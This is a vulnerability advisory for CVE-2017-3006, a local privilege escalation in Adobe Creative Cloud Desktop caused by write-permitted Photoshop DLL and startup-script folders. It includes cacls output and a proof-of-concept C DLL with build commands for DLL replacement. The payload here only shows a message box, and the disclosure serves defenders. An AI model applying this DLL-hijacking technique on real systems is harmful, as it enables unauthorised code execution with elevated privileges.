Adobe Creative Cloud Desktop Application < 4.0.0.185 - Privilege Escalation

[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADOBE-CREATIVE-CLOUD-PRIVILEGE-ESCALATION.txt

[+] ISR: apparitionSec







Vendor:

==============

www.adobe.com







Product:

========================================

Adobe Creative Cloud Desktop Application

<= v4.0.0.185 







Vulnerability Type:

=====================

Privilege Escalation







CVE Reference:

==============

CVE-2017-3006

APSB17-13





Vulnerability Details:

=====================

Adobe CC uses weak insecure permissions settings on the "Adobe Photoshop dll & Startup Scripts" directories. This may allow authenticated users

to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the 'C' flag

(Change) for 'Authenticated Users' group.





References:

============

https://helpx.adobe.com/security/products/creative-cloud/apsb17-13.html





e.g.



C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>cacls * | more

C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libifcoremd.dll BUILTIN\Administrators:(ID)F

                                                                                NT AUTHORITY\SYSTEM:(ID)F

                                                                                BUILTIN\Users:(ID)R

                                                                                NT AUTHORITY\Authenticated Users:(ID)C



C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libmmd.dll BUILTIN\Administrators:(ID)F

                                                                           NT AUTHORITY\SYSTEM:(ID)F

                                                                           BUILTIN\Users:(ID)R

                                                                           NT AUTHORITY\Authenticated Users:(ID)C







C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>ls -lt

total 2407

-rwxr-xr-x    1 Test     Administ   895184 Jun  3  2016 libifcoremd.dll

-rwxr-xr-x    1 Test     Administ  4033464 Jun  3  2016 libmmd.dll





///////////  AND /////////////////////





C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop>cacls * | more

C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop BUILTIN\Administrators:(ID)F

                                                                                       BUILTIN\Administrators:(OI)(CI)(IO)(ID)F

                                                                                       NT AUTHORITY\SYSTEM:(ID)F

                                                                                       NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F

                                                                                       BUILTIN\Users:(OI)(CI)(ID)R

                                                                                       NT AUTHORITY\Authenticated Users:(ID)C

                                                                                       NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C



C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop.jsx BUILTIN\Administrators:(ID)F

                                                                                           NT AUTHORITY\SYSTEM:(ID)F

                                                                                           BUILTIN\Users:(ID)R

                                                                                           NT AUTHORITY\Authenticated Users:(ID)C









Exploit/POC code(s):

====================

Compile below DLL 'C' code name it as "libifcoremd.dll"

Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.





#include <windows.h>



BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){

  switch (reason) {

  case DLL_PROCESS_ATTACH:

    MessageBox(NULL, NULL, "PWN!", MB_OK);  

    break;

  }

  return TRUE;

}





gcc -c libifcoremd.c

gcc -shared -o  libifcoremd.dll libifcoremd.o







Disclosure Timeline:

========================================

Vendor Notification: January 25, 2017

Vendor updates Adobe CC : April 11, 2017

April 12, 2017 : Public Disclosure







Exploitation Technique:

=======================

Local







Severity Level:

===============

Medium







[+] Disclaimer

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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).